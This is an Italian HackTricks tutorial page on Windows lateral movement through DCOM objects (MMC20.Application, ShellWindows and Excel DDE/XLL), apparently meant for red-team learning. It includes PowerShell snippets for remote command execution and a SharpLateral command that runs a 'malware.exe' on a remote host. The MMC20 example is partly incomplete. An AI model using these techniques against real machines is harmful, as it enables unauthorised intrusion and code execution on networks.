9.6 KiB
DCOM Exec
Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!
- Lavori in una azienda di sicurezza informatica? Vuoi vedere la tua azienda pubblicizzata su HackTricks? o vuoi avere accesso all'ultima versione del PEASS o scaricare HackTricks in PDF? Controlla i PIANI DI ABBONAMENTO!
- Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguimi su Twitter 🐦@carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR al repo di hacktricks e al repo di hacktricks-cloud..
Try Hard Security Group
![](/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
MMC20.Application
Per ulteriori informazioni su questa tecnica, controlla il post originale su https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
Gli oggetti del Modello di Oggetti Componenti Distribuiti (DCOM) presentano una capacità interessante per interazioni basate su rete con gli oggetti. Microsoft fornisce una documentazione completa sia per DCOM che per il Modello di Oggetti Componenti (COM), accessibile qui per DCOM e qui per COM. È possibile recuperare un elenco delle applicazioni DCOM utilizzando il comando PowerShell:
Get-CimInstance Win32_DCOMApplication
L'oggetto COM, Classe dell'applicazione MMC (MMC20.Application), consente lo scripting delle operazioni snap-in di MMC. In particolare, questo oggetto contiene un metodo ExecuteShellCommand
sotto Document.ActiveView
. Ulteriori informazioni su questo metodo possono essere trovate qui. Controlla eseguendo:
Questa funzionalità facilita l'esecuzione di comandi su una rete tramite un'applicazione DCOM. Per interagire con DCOM in remoto come amministratore, PowerShell può essere utilizzato nel seguente modo:
[activator]::CreateInstance([type]::GetTypeFromProgID("<DCOM_ProgID>", "<IP_Address>"))
Questo comando si connette all'applicazione DCOM e restituisce un'istanza dell'oggetto COM. Il metodo ExecuteShellCommand può quindi essere invocato per eseguire un processo sull'host remoto. Il processo coinvolge i seguenti passaggi:
Controlla i metodi:
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com.Document.ActiveView | Get-Member
Ottenere l'esecuzione remota di codice (RCE):
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application", "10.10.10.10"))
$com | Get-Member
# Then just run something like:
ls \\10.10.10.10\c$\Users
ShellWindows & ShellBrowserWindow
Per ulteriori informazioni su questa tecnica, controlla il post originale https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
L'oggetto MMC20.Application è stato identificato come privo di "LaunchPermissions" esplicite, con autorizzazioni predefinite che consentono l'accesso agli amministratori. Per ulteriori dettagli, è possibile esplorare un thread qui, e si consiglia l'uso di @tiraniddo’s OleView .NET per filtrare gli oggetti senza autorizzazioni di avvio esplicite.
Due specifici oggetti, ShellBrowserWindow
e ShellWindows
, sono stati evidenziati per la mancanza di autorizzazioni di avvio esplicite. L'assenza di una voce di registro LaunchPermission
sotto HKCR:\AppID\{guid}
indica l'assenza di autorizzazioni esplicite.
ShellWindows
Per ShellWindows
, che non ha un ProgID, i metodi .NET Type.GetTypeFromCLSID
e Activator.CreateInstance
facilitano l'istanziazione dell'oggetto utilizzando il suo AppID. Questo processo sfrutta OleView .NET per recuperare il CLSID per ShellWindows
. Una volta istanziato, l'interazione è possibile attraverso il metodo WindowsShell.Item
, portando all'invocazione del metodo come Document.Application.ShellExecute
.
Sono stati forniti esempi di comandi PowerShell per istanziare l'oggetto ed eseguire comandi in remoto:
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\system32", $null, 0)
Movimento laterale con oggetti DCOM di Excel
Il movimento laterale può essere ottenuto sfruttando gli oggetti DCOM di Excel. Per informazioni dettagliate, è consigliabile leggere la discussione sull'utilizzo di Excel DDE per il movimento laterale tramite DCOM su blog di Cybereason.
Il progetto Empire fornisce uno script PowerShell, che dimostra l'utilizzo di Excel per l'esecuzione remota di codice (RCE) manipolando gli oggetti DCOM. Di seguito sono riportati frammenti dello script disponibile nel repository GitHub di Empire, che mostrano diversi metodi per abusare di Excel per RCE:
# Detection of Office version
elseif ($Method -Match "DetectOffice") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$isx64 = [boolean]$obj.Application.ProductCode[21]
Write-Host $(If ($isx64) {"Office x64 detected"} Else {"Office x86 detected"})
}
# Registration of an XLL
elseif ($Method -Match "RegisterXLL") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$obj.Application.RegisterXLL("$DllPath")
}
# Execution of a command via Excel DDE
elseif ($Method -Match "ExcelDDE") {
$Com = [Type]::GetTypeFromProgID("Excel.Application","$ComputerName")
$Obj = [System.Activator]::CreateInstance($Com)
$Obj.DisplayAlerts = $false
$Obj.DDEInitiate("cmd", "/c $Command")
}
Strumenti di Automazione per il Movimento Laterale
Due strumenti sono evidenziati per automatizzare queste tecniche:
-
Invoke-DCOM.ps1: Uno script PowerShell fornito dal progetto Empire che semplifica l'invocazione di diversi metodi per eseguire codice su macchine remote. Questo script è accessibile nel repository GitHub di Empire.
-
SharpLateral: Uno strumento progettato per eseguire codice in remoto, che può essere utilizzato con il comando:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Strumenti Automatici
- Lo script Powershell Invoke-DCOM.ps1 consente di invocare facilmente tutti i metodi commentati per eseguire codice in altre macchine.
- È possibile utilizzare anche SharpLateral:
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
Riferimenti
- https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
- https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
Try Hard Security Group
![](/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg)
{% embed url="https://discord.gg/tryhardsecurity" %}
Impara l'hacking su AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
- Se desideri vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
- Ottieni il merchandising ufficiale di PEASS & HackTricks
- Scopri The PEASS Family, la nostra collezione di NFT esclusivi
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @carlospolopm.
- Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.